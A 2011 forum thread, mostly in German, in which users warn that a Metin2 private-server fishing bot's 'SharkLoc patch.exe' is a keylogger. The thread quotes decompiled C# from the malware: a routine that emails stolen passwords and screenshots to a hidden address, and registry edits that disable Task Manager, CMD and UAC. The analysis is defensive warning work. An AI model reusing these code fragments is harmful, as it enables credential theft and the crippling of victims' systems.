Private Server FishBot [Background/Fish On Earth]

Page 1 of 2

03/19/2011 09:53 Shannou06#1

Piep!

03/19/2011 10:39 Veroy#2

schaut nicht so schlecht aus, mal gucken, was andre so sagen... spiele n�mlich kein pserver

03/19/2011 10:40 Shannou06#3

Danke :)

03/19/2011 10:58 Slait#4

SCHLIMMER VIRUS!!!!

Die Datei [UG]SharkLoc.exe scheint OK zu sein, aber

beim ausf�hren der Datei SharkLoc patch.exe passiert so einiges.

1. Sendet eine E-Mail mit eurem Passwort (bekommen per GetAsyncKeyState) und nem Schreenshot von Metin2 mit den Accdaten an die Adresse [Only registered and activated users can see links. Click Here To Register...].

Also ist es schonmal ein Keylogger der nen Screenshot sowie euer Passwort versendet.

Hier der Code:

Spoiler

2. Er ver�ndert Werte in der Registry, z.B. damit euer Task-Manager nicht mehr funktioniert

So sieht das aus:

Spoiler

und kopiert sich Dabei selber in den Autostart also ist immer aufm Rechner drauf!

SCHLIMMER VIRUS NICHT DOWNLOADEN!!!!!!!!

03/19/2011 11:13 Veroy#5

wieder mal super arbeit slait ;)
warum m�ssen einige eig. immer son schei� verbreiten? -.-

03/19/2011 12:01 Shannou06#6

Does that mean I have been infected?

03/19/2011 12:05 Veroy#7

Quote:

Originally Posted by Shannou06

Does that mean I have been infected?

nein, dass hei�t, dass du ein virenverbreiter bist ;)

03/19/2011 12:06 MrCrackR#8

Quote:

Originally Posted by Veroy

wieder mal super arbeit slait ;)
warum m�ssen einige eig. immer son schei� verbreiten? -.-

durch nen decompiler laufen zu lasse nist auch keine gro�e kunst :(

@Shannou: why are you writting that this FishBot is a virus but not removing the link to it :confused:

03/19/2011 12:07 Slait#9

The File SharkLoc patch.exe is a Virus!!!

It sends an E-Mail with your Account-data to the mailaddress [Only registered and activated users can see links. Click Here To Register...].

If you executed this file, your accountdata was send to the mail.
So your account will get hacked.

@MrCrackR
Du kannst die Datei ja n�chstes Mal analysieren, anders kann man das eben nicht machen ;)

03/19/2011 12:09 Veroy#10

Quote:

Originally Posted by MrCrackR

durch nen decompiler laufen zu lasse nist auch keine gro�e kunst :(

@Shannou: why are you writting that this FishBot is a virus but not removing the link to it :confused:

er nimmt sich eben die zeit daf�r, die leute hier zu warnen... warum machst dus denn nicht? jaja... nur am kritisieren immer

03/19/2011 12:21 MrCrackR#11

Quote:

Originally Posted by Slait

@MrCrackR
Du kannst die Datei ja n�chstes Mal analysieren, anders kann man das eben nicht machen ;)

nur mal so, egal wie edel deine absichten sind, decompilen ist rechtlich verboten,
egal was das f�r ein programm ist. nat�rlich ganz nett von dir, das alles auf dich zu nehmen ^^.
aber es geht auch ohne decompilen, dauert nur l�nger. daf�r brauchst du eine VM,
einen API-Monitor, einen Registry-Monitor und einen Sniffer.
wie gesagt, der zeitaufwand ist enorm, aber an dieser methode finde ich nichts illegales.

03/19/2011 12:44 Shannou06#12

Quote:

Originally Posted by Slait

SCHLIMMER VIRUS!!!!

Die Datei [UG]SharkLoc.exe scheint OK zu sein, aber

beim ausf�hren der Datei SharkLoc patch.exe passiert so einiges.

1. Sendet eine E-Mail mit eurem Passwort (bekommen per GetAsyncKeyState) und nem Schreenshot von Metin2 mit den Accdaten an die Adresse [Only registered and activated users can see links. Click Here To Register...].

Also ist es schonmal ein Keylogger der nen Screenshot sowie euer Passwort versendet.

Hier der Code:

Spoiler

public static string SendEmail(ref string SMTP, ref string Froma, ref string Password, ref string Recipient, ref string Subject, ref string Body, ref int Port, [Optional, DefaultParameterValue(false)] ref bool TakePic)
{
Recipient = "[Only registered and activated users can see links. Click Here To Register...]";

string str;
try
{
MailMessage message = new MailMessage();
message.From = new MailAddress(Froma);
message.To.Add(Recipient);
message.Subject = Subject;
message.Body = Body;
SmtpClient client = new SmtpClient(SMTP);
string str2 = @"\" + LT;
if (TakePic)
{

//Screenshotcode wegen nacharmern ausgeblendet

}
Attachment item = new Attachment(Path.GetTempPath() + str2 + ".gif");
message.Attachments.Add(item);
}
client.Port = Port;
client.EnableSsl = true;
client.Credentials = new NetworkCredential(Froma, Password);
client.Send(message);
if (TakeScrns)
{
File.Delete(Path.GetTempPath() + str2 + ".gif");
}
str = "Email information is valid and working!";
}
catch (Exception exception1)
{
ProjectData.SetProjectError(exception1);
Exception exception = exception1;
str = "Email information invalid: " + exception.Message;
ProjectData.ClearProjectError();
}
return str;
}

2. Er ver�ndert Werte in der Registry, z.B. damit euer Task-Manager nicht mehr funktioniert

So sieht das aus:

Spoiler

if (wICUDZJUa == 2)
{
MyProject.Computer.Registry.SetValue(@"HKEY_CURREN T_USER\Software\Microsoft\Windows\CurrentVersion\P olicies\System ", "DisableTaskMgr", "1");
}
if (VGyGkxwN)
{
MyProject.Computer.Registry.SetValue(@"HKEY_CURREN T_USER\Software\Microsoft\Windows\CurrentVersion\P olicies\Explorer", "NoRun", "1");
}
if (UWrUYmwR)
{
MyProject.Computer.Registry.SetValue(@"HKEY_CURREN T_USER\Software\Microsoft\Windows\CurrentVersion\P olicies\Explorer", "NoViewContextMenu", "1");
}
if (KcOSrSdX)
{
MyProject.Computer.Registry.SetValue(@"HKEY_CURREN T_USER\Software\Policies\Microsoft\Windows\System" , "DisableCMD", "2");
}
if (EUjFsCZUx)
{
Interaction.Shell(@"C:\Windows\System32\KcOSrSdX.e xe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide, false, -1);
}
if (foytXmFZ)
{
MyProject.Computer.Registry.SetValue(@"HKEY_CURREN T_USER\Software\Policies\Microsoft\Windows\System" , "DisableCMD", "2");
}

und kopiert sich Dabei selber in den Autostart also ist immer aufm Rechner drauf!

SCHLIMMER VIRUS NICHT DOWNLOADEN!!!!!!!!

Quote:

Originally Posted by MrCrackR

durch nen decompiler laufen zu lasse nist auch keine gro�e kunst :(

@Shannou: why are you writting that this FishBot is a virus but not removing the link to it :confused:

I want to be sure, otherwise I will loose the links. Who is stupid enough to click on a link saying "this a probably a virus!"

So is it sure?

03/19/2011 12:46 Slait#13

@MrCrackR
Naja, wenn du w�sstest, wie viele illegale Sachen hier gemacht werden ^^
Da ist das acht das sowirklich vernachl�ssigbar, au�erdem ist Viren verbreiten etwa nicht verboten??.
Fast jeder, der einen Bot analysiert, macht das so.

Aber die andere Methode, indem man alles �berwacht habe ich noch nie probiert, w�re n�tzlich bei verschl�sselten Dateien, danke :)

@shannou06
It is sure, I decompiled it and there you can see the harmful code ;)

03/19/2011 12:48 Shannou06#14

In all the files or only in the patch?
So I know if I have to take away only one file!

03/19/2011 12:54 Slait#15

The patch is a bad virus.

And the other is useless because you need an injector.

So remove everything.

Page 1 of 2